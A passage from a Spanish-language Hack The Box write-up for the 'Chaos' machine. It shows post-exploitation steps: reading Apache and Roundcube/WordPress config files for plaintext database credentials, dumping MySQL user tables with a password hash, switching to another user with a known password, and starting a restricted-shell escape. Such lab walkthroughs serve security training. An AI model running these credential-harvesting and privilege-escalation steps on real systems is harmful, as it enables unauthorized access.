</span></span><span style="display:flex;"><span>drwxr-xr-x 35 www-data www-data 4.0K Oct 28  2018 plugins
</span></span><span style="display:flex;"><span>drwxr-xr-x  8 www-data www-data 4.0K Oct 28  2018 program
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 www-data www-data 4.0K Oct 28  2018 public_html
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 www-data www-data 4.0K Oct 28  2018 skins
</span></span><span style="display:flex;"><span>drwxrwxr-x  2 www-data www-data 4.0K May 25 19:37 temp
</span></span><span style="display:flex;"><span>drwxr-xr-x  8 www-data www-data 4.0K Oct 28  2018 vendor
</span></span><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$
</span></span></code></pre></div><p>Tenemos las tres carpetas de <code>/var/www</code>, main, html y roundcube. El que esta en html corresponde al vhost de root, porque no lleva dominio declarado, el main corresponde a chaos, chaos.htb porque fue el que necesitabamos agregar durante las primeras etapas de enumeración. El que no encontramos y era porque se trataba de otro dominio o vhost, es el de roundcube. Este software es conocido por ser el frontend para dovecot, lo que lo convierte en el webmail perdido.</p>
<p>Comprobamos esto contra los sitios habilitados:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ cat /etc/apache2/sites-enabled/*
</span></span><span style="display:flex;"><span>&lt;H1n9_H3r3/compile$ cat /etc/apache2/sites-enabled/*
</span></span><span style="display:flex;"><span>&lt;VirtualHost *:80&gt;
</span></span><span style="display:flex;"><span>	# The ServerName directive sets the request scheme, hostname and port that
</span></span><span style="display:flex;"><span>	# the server uses to identify itself. This is used when creating
</span></span><span style="display:flex;"><span>	# redirection URLs. In the context of virtual hosts, the ServerName
</span></span><span style="display:flex;"><span>	# specifies what hostname must appear in the request&#39;s Host: header to
</span></span><span style="display:flex;"><span>	# match this virtual host. For the default virtual host (this file) this
</span></span><span style="display:flex;"><span>	# value is not decisive as it is used as a last resort host regardless.
</span></span><span style="display:flex;"><span>	# However, you must set it for any further virtual host explicitly.
</span></span><span style="display:flex;"><span>	#ServerName www.example.com
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	ServerAdmin webmaster@localhost
</span></span><span style="display:flex;"><span>	DocumentRoot /var/www/html
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
</span></span><span style="display:flex;"><span>	# error, crit, alert, emerg.
</span></span><span style="display:flex;"><span>	# It is also possible to configure the loglevel for particular
</span></span><span style="display:flex;"><span>	# modules, e.g.
</span></span><span style="display:flex;"><span>	#LogLevel info ssl:warn
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	ErrorLog ${APACHE_LOG_DIR}/error.log
</span></span><span style="display:flex;"><span>	CustomLog ${APACHE_LOG_DIR}/access.log combined
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	# For most configuration files from conf-available/, which are
</span></span><span style="display:flex;"><span>	# enabled or disabled at a global level, it is possible to
</span></span><span style="display:flex;"><span>	# include a line for only one particular virtual host. For example the
</span></span><span style="display:flex;"><span>	# following line enables the CGI configuration for this host only
</span></span><span style="display:flex;"><span>	# after it has been globally disabled with &#34;a2disconf&#34;.
</span></span><span style="display:flex;"><span>	#Include conf-available/serve-cgi-bin.conf
</span></span><span style="display:flex;"><span>&lt;/VirtualHost&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># vim: syntax=apache ts=4 sw=4 sts=4 sr noet
</span></span><span style="display:flex;"><span>&lt;VirtualHost *:80&gt;
</span></span><span style="display:flex;"><span>	ServerName chaos.htb
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	ServerAdmin webmaster@localhost
</span></span><span style="display:flex;"><span>	DocumentRoot /var/www/main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
</span></span><span style="display:flex;"><span>	# error, crit, alert, emerg.
</span></span><span style="display:flex;"><span>	# It is also possible to configure the loglevel for particular
</span></span><span style="display:flex;"><span>	# modules, e.g.
</span></span><span style="display:flex;"><span>	#LogLevel info ssl:warn
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	ErrorLog ${APACHE_LOG_DIR}/error_main.log
</span></span><span style="display:flex;"><span>	CustomLog ${APACHE_LOG_DIR}/access_main.log combined
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	# For most configuration files from conf-available/, which are
</span></span><span style="display:flex;"><span>	# enabled or disabled at a global level, it is possible to
</span></span><span style="display:flex;"><span>	# include a line for only one particular virtual host. For example the
</span></span><span style="display:flex;"><span>	# following line enables the CGI configuration for this host only
</span></span><span style="display:flex;"><span>	# after it has been globally disabled with &#34;a2disconf&#34;.
</span></span><span style="display:flex;"><span>	#Include conf-available/serve-cgi-bin.conf
</span></span><span style="display:flex;"><span>&lt;/VirtualHost&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># vim: syntax=apache ts=4 sw=4 sts=4 sr noet
</span></span><span style="display:flex;"><span>&lt;VirtualHost *:80&gt;
</span></span><span style="display:flex;"><span>	ServerName webmail.chaos.htb
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	ServerAdmin webmaster@localhost
</span></span><span style="display:flex;"><span>	DocumentRoot /var/www/roundcube
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
</span></span><span style="display:flex;"><span>	# error, crit, alert, emerg.
</span></span><span style="display:flex;"><span>	# It is also possible to configure the loglevel for particular
</span></span><span style="display:flex;"><span>	# modules, e.g.
</span></span><span style="display:flex;"><span>	#LogLevel info ssl:warn
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	ErrorLog ${APACHE_LOG_DIR}/error_roundcube.log
</span></span><span style="display:flex;"><span>	CustomLog ${APACHE_LOG_DIR}/access_roundcube.log combined
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	&lt;Directory /var/www/roundcube&gt;
</span></span><span style="display:flex;"><span>		Options -Indexes
</span></span><span style="display:flex;"><span>		AllowOverride All
</span></span><span style="display:flex;"><span>		Order allow,deny
</span></span><span style="display:flex;"><span>		allow from all
</span></span><span style="display:flex;"><span>	&lt;/Directory&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/VirtualHost&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># vim: syntax=apache ts=4 sw=4 sts=4 sr noet
</span></span></code></pre></div><p>Como podemos ver, se trataba de un subdominio de chaos.htb, <strong>webmail.chaos.htb</strong>.</p>
<p>Ahora, revisando la configuración de la aplicación encontramos algo interesante:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls -lah /var/www/roundcube/config/
</span></span><span style="display:flex;"><span>&lt;n9_H3r3/compile$ ls -lah /var/www/roundcube/config/
</span></span><span style="display:flex;"><span>total 76K
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 www-data www-data 4.0K Oct 28  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 13 www-data www-data 4.0K Oct 23  2018 ..
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data  164 Oct 23  2018 .htaccess
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 2.3K Oct 28  2018 config.inc.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 4.0K Oct 23  2018 config.inc.php.sample
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data  52K Oct 23  2018 defaults.inc.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 www-data www-data 2.8K Oct 23  2018 mimetypes.php
</span></span><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ cat /var/www/roundcube/config/config.inc.php
</span></span><span style="display:flex;"><span>&lt;mpile$ cat /var/www/roundcube/config/config.inc.php
</span></span><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/* Local configuration for Roundcube Webmail */
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>// ----------------------------------
</span></span><span style="display:flex;"><span>// SQL DATABASE
</span></span><span style="display:flex;"><span>// ----------------------------------
</span></span><span style="display:flex;"><span>// Database connection string (DSN) for read+write operations
</span></span><span style="display:flex;"><span>// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
</span></span><span style="display:flex;"><span>// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
</span></span><span style="display:flex;"><span>// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
</span></span><span style="display:flex;"><span>// NOTE: for SQLite use absolute path (Linux): &#39;sqlite:////full/path/to/sqlite.db?mode=0646&#39;
</span></span><span style="display:flex;"><span>//       or (Windows): &#39;sqlite:///C:/full/path/to/sqlite.db&#39;
</span></span><span style="display:flex;"><span>$config[&#39;db_dsnw&#39;] = &#39;mysql://roundcube:inner%5BOnCag8@localhost/roundcubemail&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>// you can define specific table (and sequence) names prefix
</span></span><span style="display:flex;"><span>$config[&#39;db_prefix&#39;] = &#39;rc_&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>// ----------------------------------
</span></span><span style="display:flex;"><span>// IMAP
</span></span><span style="display:flex;"><span>// ----------------------------------
</span></span><span style="display:flex;"><span>// The IMAP host chosen to perform the log-in.
</span></span><span style="display:flex;"><span>// Leave blank to show a textbox at login, give a list of hosts
</span></span><span style="display:flex;"><span>// to display a pulldown menu or set one host as string.
</span></span><span style="display:flex;"><span>// To use SSL/TLS connection, enter hostname with prefix ssl:// or tls://
</span></span><span style="display:flex;"><span>// Supported replacement variables:
</span></span><span style="display:flex;"><span>// %n - hostname ($_SERVER[&#39;SERVER_NAME&#39;])
</span></span><span style="display:flex;"><span>// %t - hostname without the first part
</span></span><span style="display:flex;"><span>// %d - domain (http hostname $_SERVER[&#39;HTTP_HOST&#39;] without the first part)
</span></span><span style="display:flex;"><span>// %s - domain name after the &#39;@&#39; from e-mail address provided at login screen
</span></span><span style="display:flex;"><span>// For example %n = mail.domain.tld, %t = domain.tld
</span></span><span style="display:flex;"><span>// WARNING: After hostname change update of mail_host column in users table is
</span></span><span style="display:flex;"><span>//          required to match old user data records with the new host.
</span></span><span style="display:flex;"><span>$config[&#39;default_host&#39;] = &#39;localhost&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>// provide an URL where a user can get support for this Roundcube installation
</span></span><span style="display:flex;"><span>// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
</span></span><span style="display:flex;"><span>$config[&#39;support_url&#39;] = &#39;chaos.htb&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>// This key is used for encrypting purposes, like storing of imap password
</span></span><span style="display:flex;"><span>// in the session. For historical reasons it&#39;s called DES_key, but it&#39;s used
</span></span><span style="display:flex;"><span>// with any configured cipher_method (see below).
</span></span><span style="display:flex;"><span>$config[&#39;des_key&#39;] = &#39;ZcDl5ZmsXAPnaqyxJYVRT9C3&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>// Name your service. This is displayed on the login screen and in the window title
</span></span><span style="display:flex;"><span>$config[&#39;product_name&#39;] = &#39;chaos&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>// ----------------------------------
</span></span><span style="display:flex;"><span>// PLUGINS
</span></span><span style="display:flex;"><span>// ----------------------------------
</span></span><span style="display:flex;"><span>// List of active plugins (in plugins/ directory)
</span></span><span style="display:flex;"><span>$config[&#39;plugins&#39;] = array();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ cat /var/www/roundcube/config/config.inc.php  | grep -v &#39;^/&#39;
</span></span><span style="display:flex;"><span>&lt;www/roundcube/config/config.inc.php  | grep -v &#39;^/&#39;
</span></span><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$config[&#39;db_dsnw&#39;] = &#39;mysql://roundcube:inner%5BOnCag8@localhost/roundcubemail&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$config[&#39;db_prefix&#39;] = &#39;rc_&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$config[&#39;default_host&#39;] = &#39;localhost&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$config[&#39;support_url&#39;] = &#39;chaos.htb&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$config[&#39;des_key&#39;] = &#39;ZcDl5ZmsXAPnaqyxJYVRT9C3&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$config[&#39;product_name&#39;] = &#39;chaos&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$config[&#39;plugins&#39;] = array();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$
</span></span></code></pre></div><p>Nice, ahora tenemos unas credenciales de mysql para explorar.</p>
<p>No sin antes cambiar, recordemos que también la aplicación de wordpress debe declarar una base de datos en la instalación:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ ls -lah /var/www/html/wp/wordpress/
</span></span><span style="display:flex;"><span>&lt;9_H3r3/compile$ ls -lah /var/www/html/wp/wordpress/
</span></span><span style="display:flex;"><span>total 204K
</span></span><span style="display:flex;"><span>drwxr-xr-x  5 root root 4.0K Nov 25 00:38 .
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 root root 4.0K Oct 28  2018 ..
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root  418 Sep 25  2013 index.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root  20K Jan  6  2018 license.txt
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 7.3K Mar 18  2018 readme.html
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 5.4K May  1  2018 wp-activate.php
</span></span><span style="display:flex;"><span>drwxr-xr-x  9 root root 4.0K Aug  2  2018 wp-admin
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root  364 Dec 19  2015 wp-blog-header.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 1.9K May  2  2018 wp-comments-post.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 2.8K Dec 16  2015 wp-config-sample.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 3.0K Nov 25 00:19 wp-config.php
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 root root 4.0K Aug  2  2018 wp-content
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 3.6K Aug 20  2017 wp-cron.php
</span></span><span style="display:flex;"><span>drwxr-xr-x 18 root root  12K Aug  2  2018 wp-includes
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 2.4K Nov 21  2016 wp-links-opml.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 3.3K Aug 22  2017 wp-load.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root  37K Jul 16  2018 wp-login.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 7.9K Jan 11  2017 wp-mail.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root  16K Oct  4  2017 wp-settings.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root  30K Apr 29  2018 wp-signup.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 4.6K Oct 23  2017 wp-trackback.php
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root root 3.0K Aug 31  2016 xmlrpc.php
</span></span><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ cat /var/www/html/wp/wordpress/wp-config.php | grep -Ev &#39;^/|^.\*|^$&#39;
</span></span><span style="display:flex;"><span>&lt;/wp/wordpress/wp-config.php | grep -Ev &#39;^/|^.\*|^$&#39;
</span></span><span style="display:flex;"><span>&lt;?php
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>define(&#39;DB_NAME&#39;, &#39;wp&#39;);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>define(&#39;DB_USER&#39;, &#39;roundcube&#39;);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>define(&#39;DB_PASSWORD&#39;, &#39;inner[OnCag8&#39;);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>define(&#39;DB_HOST&#39;, &#39;localhost&#39;);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>define(&#39;DB_CHARSET&#39;, &#39;utf8&#39;);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>define(&#39;DB_COLLATE&#39;, &#39;&#39;);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>define(&#39;AUTH_KEY&#39;,         &#39;put your unique phrase here&#39;);
</span></span><span style="display:flex;"><span>define(&#39;SECURE_AUTH_KEY&#39;,  &#39;put your unique phrase here&#39;);
</span></span><span style="display:flex;"><span>define(&#39;LOGGED_IN_KEY&#39;,    &#39;put your unique phrase here&#39;);
</span></span><span style="display:flex;"><span>define(&#39;NONCE_KEY&#39;,        &#39;put your unique phrase here&#39;);
</span></span><span style="display:flex;"><span>define(&#39;AUTH_SALT&#39;,        &#39;put your unique phrase here&#39;);
</span></span><span style="display:flex;"><span>define(&#39;SECURE_AUTH_SALT&#39;, &#39;put your unique phrase here&#39;);
</span></span><span style="display:flex;"><span>define(&#39;LOGGED_IN_SALT&#39;,   &#39;put your unique phrase here&#39;);
</span></span><span style="display:flex;"><span>define(&#39;NONCE_SALT&#39;,       &#39;put your unique phrase here&#39;);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$table_prefix  = &#39;wp_&#39;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>define(&#39;WP_DEBUG&#39;, false);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>if ( !defined(&#39;ABSPATH&#39;) )
</span></span><span style="display:flex;"><span>	define(&#39;ABSPATH&#39;, dirname(__FILE__) . &#39;/&#39;);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>require_once(ABSPATH . &#39;wp-settings.php&#39;);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>if (isset( $_SERVER[&#39;HTTP_X_FORWARDED_FOR&#39;])) {
</span></span><span style="display:flex;"><span>        $mte_xffaddrs = explode(&#39;,&#39;, $_SERVER[&#39;HTTP_X_FORWARDED_FOR&#39;]);
</span></span><span style="display:flex;"><span>        $_SERVER[&#39;REMOTE_ADDR&#39;] = $mte_xffaddrs[0];
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Consolidemos la información que acabamos de obtener del servicio de DB:</p>
<table>
  <thead>
      <tr>
          <th>DB Name</th>
          <th>DB Host</th>
          <th>DB User</th>
          <th>DB Pass</th>
          <th>Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>roundcubemail</td>
          <td>localhost</td>
          <td>roundcube</td>
          <td>inner[OnCag8</td>
          <td>rc_ , DES_KEY:ZcDl5ZmsXAPnaqyxJYVRT9C3</td>
      </tr>
      <tr>
          <td>wp</td>
          <td>localhost</td>
          <td>roundcube</td>
          <td>inner[OnCag8</td>
          <td>wp_ , utf8</td>
      </tr>
  </tbody>
</table>
<p>Exploremos ahora mysql:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@chaos:/var/www/roundcube/config$ mysql -u roundcube -h localhost -p
</span></span><span style="display:flex;"><span>mysql -u roundcube -h localhost -p
</span></span><span style="display:flex;"><span>Enter password: inner[OnCag8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Welcome to the MySQL monitor.  Commands end with ; or \g.
</span></span><span style="display:flex;"><span>Your MySQL connection id is 4
</span></span><span style="display:flex;"><span>Server version: 5.7.24-0ubuntu0.18.10.1 (Ubuntu)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Oracle is a registered trademark of Oracle Corporation and/or its
</span></span><span style="display:flex;"><span>affiliates. Other names may be trademarks of their respective
</span></span><span style="display:flex;"><span>owners.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Type &#39;help;&#39; or &#39;\h&#39; for help. Type &#39;\c&#39; to clear the current input statement.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mysql&gt; show databases;
</span></span><span style="display:flex;"><span>show databases;
</span></span><span style="display:flex;"><span>+--------------------+
</span></span><span style="display:flex;"><span>| Database           |
</span></span><span style="display:flex;"><span>+--------------------+
</span></span><span style="display:flex;"><span>| information_schema |
</span></span><span style="display:flex;"><span>| roundcubemail      |
</span></span><span style="display:flex;"><span>| wp                 |
</span></span><span style="display:flex;"><span>+--------------------+
</span></span><span style="display:flex;"><span>3 rows in set (0.00 sec)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mysql&gt; use roundcubemail;
</span></span><span style="display:flex;"><span>use roundcubemail;
</span></span><span style="display:flex;"><span>Reading table information for completion of table and column names
</span></span><span style="display:flex;"><span>You can turn off this feature to get a quicker startup with -A
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Database changed
</span></span><span style="display:flex;"><span>mysql&gt; show tables;
</span></span><span style="display:flex;"><span>show tables;
</span></span><span style="display:flex;"><span>+-------------------------+
</span></span><span style="display:flex;"><span>| Tables_in_roundcubemail |
</span></span><span style="display:flex;"><span>+-------------------------+
</span></span><span style="display:flex;"><span>| cache                   |
</span></span><span style="display:flex;"><span>| cache_index             |
</span></span><span style="display:flex;"><span>| cache_messages          |
</span></span><span style="display:flex;"><span>| cache_shared            |
</span></span><span style="display:flex;"><span>| cache_thread            |
</span></span><span style="display:flex;"><span>| contactgroupmembers     |
</span></span><span style="display:flex;"><span>| contactgroups           |
</span></span><span style="display:flex;"><span>| contacts                |
</span></span><span style="display:flex;"><span>| dictionary              |
</span></span><span style="display:flex;"><span>| identities              |
</span></span><span style="display:flex;"><span>| rc_cache                |
</span></span><span style="display:flex;"><span>| rc_cache_index          |
</span></span><span style="display:flex;"><span>| rc_cache_messages       |
</span></span><span style="display:flex;"><span>| rc_cache_shared         |
</span></span><span style="display:flex;"><span>| rc_cache_thread         |
</span></span><span style="display:flex;"><span>| rc_contactgroupmembers  |
</span></span><span style="display:flex;"><span>| rc_contactgroups        |
</span></span><span style="display:flex;"><span>| rc_contacts             |
</span></span><span style="display:flex;"><span>| rc_dictionary           |
</span></span><span style="display:flex;"><span>| rc_identities           |
</span></span><span style="display:flex;"><span>| rc_searches             |
</span></span><span style="display:flex;"><span>| rc_session              |
</span></span><span style="display:flex;"><span>| rc_system               |
</span></span><span style="display:flex;"><span>| rc_users                |
</span></span><span style="display:flex;"><span>| searches                |
</span></span><span style="display:flex;"><span>| session                 |
</span></span><span style="display:flex;"><span>| system                  |
</span></span><span style="display:flex;"><span>| users                   |
</span></span><span style="display:flex;"><span>+-------------------------+
</span></span><span style="display:flex;"><span>28 rows in set (0.00 sec)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mysql&gt; select * from users;
</span></span><span style="display:flex;"><span>select * from users;
</span></span><span style="display:flex;"><span>Empty set (0.00 sec)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mysql&gt; select * from rc_users;
</span></span><span style="display:flex;"><span>select * from rc_users;
</span></span><span style="display:flex;"><span>+---------+----------+-----------+---------------------+---------------------+--------------+----------------------+----------+---------------------------------------------------+
</span></span><span style="display:flex;"><span>| user_id | username | mail_host | created             | last_login          | failed_login | failed_login_counter | language | preferences                                       |
</span></span><span style="display:flex;"><span>+---------+----------+-----------+---------------------+---------------------+--------------+----------------------+----------+---------------------------------------------------+
</span></span><span style="display:flex;"><span>|       1 | ayush    | localhost | 2018-10-28 12:10:08 | 2018-10-28 12:17:40 | NULL         |                 NULL | en_US    | a:1:{s:11:&#34;client_hash&#34;;s:16:&#34;RtiFliMyCQJHsnsS&#34;;} |
</span></span><span style="display:flex;"><span>+---------+----------+-----------+---------------------+---------------------+--------------+----------------------+----------+---------------------------------------------------+
</span></span><span style="display:flex;"><span>1 row in set (0.00 sec)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mysql&gt; use wp;
</span></span><span style="display:flex;"><span>use wp;
</span></span><span style="display:flex;"><span>Reading table information for completion of table and column names
</span></span><span style="display:flex;"><span>You can turn off this feature to get a quicker startup with -A
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Database changed
</span></span><span style="display:flex;"><span>mysql&gt; show tables;
</span></span><span style="display:flex;"><span>show tables;
</span></span><span style="display:flex;"><span>+-----------------------+
</span></span><span style="display:flex;"><span>| Tables_in_wp          |
</span></span><span style="display:flex;"><span>+-----------------------+
</span></span><span style="display:flex;"><span>| wp_commentmeta        |
</span></span><span style="display:flex;"><span>| wp_comments           |
</span></span><span style="display:flex;"><span>| wp_links              |
</span></span><span style="display:flex;"><span>| wp_options            |
</span></span><span style="display:flex;"><span>| wp_postmeta           |
</span></span><span style="display:flex;"><span>| wp_posts              |
</span></span><span style="display:flex;"><span>| wp_term_relationships |
</span></span><span style="display:flex;"><span>| wp_term_taxonomy      |
</span></span><span style="display:flex;"><span>| wp_termmeta           |
</span></span><span style="display:flex;"><span>| wp_terms              |
</span></span><span style="display:flex;"><span>| wp_usermeta           |
</span></span><span style="display:flex;"><span>| wp_users              |
</span></span><span style="display:flex;"><span>+-----------------------+
</span></span><span style="display:flex;"><span>12 rows in set (0.00 sec)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mysql&gt; select * from wp_users;
</span></span><span style="display:flex;"><span>select * from wp_users;
</span></span><span style="display:flex;"><span>+----+------------+------------------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+
</span></span><span style="display:flex;"><span>| ID | user_login | user_pass                          | user_nicename | user_email     | user_url | user_registered     | user_activation_key | user_status | display_name |
</span></span><span style="display:flex;"><span>+----+------------+------------------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+
</span></span><span style="display:flex;"><span>|  1 | human      | $P$BSl/JcSO/ofPD.t/2u8ANTcqtIBX5G/ | human         | info@chaos.htb |          | 2018-10-28 11:32:57 |                     |           0 | human        |
</span></span><span style="display:flex;"><span>+----+------------+------------------------------------+---------------+----------------+----------+---------------------+---------------------+-------------+--------------+
</span></span><span style="display:flex;"><span>1 row in set (0.00 sec)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mysql&gt;
</span></span></code></pre></div><h2 id="keep-it-simple">Keep it simple.</h2>
<p>Como podemos ver aquí hay un callejón muerto. Ponernos a romper el hash es muy tardado, sabemos que el hash de ayush es igual a <code>jiujitsu</code>. Momento, aun no hemos probado cambiar de www-data a ayush con las credenciales del servicio:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ su - ayush
</span></span><span style="display:flex;"><span>su - ayush
</span></span><span style="display:flex;"><span>Password: jiujitsu
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ayush@chaos:~$
</span></span></code></pre></div><p>Y hemos escalado de www-data a ayush.</p>
<h1 id="escape-from-restricted-shell">Escape from restricted shell</h1>
<p>Al llegar a ayush nos daremos cuenta que no tenemos una shell completa:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ayush@chaos:~$ ls -lah
</span></span><span style="display:flex;"><span>ls -lah
</span></span><span style="display:flex;"><span>Command &#39;ls&#39; is available in &#39;/bin/ls&#39;
</span></span><span style="display:flex;"><span>The command could not be located because &#39;/bin&#39; is not included in the PATH environment variable.
</span></span><span style="display:flex;"><span>ls: command not found
</span></span><span style="display:flex;"><span>ayush@chaos:~$ cd ..
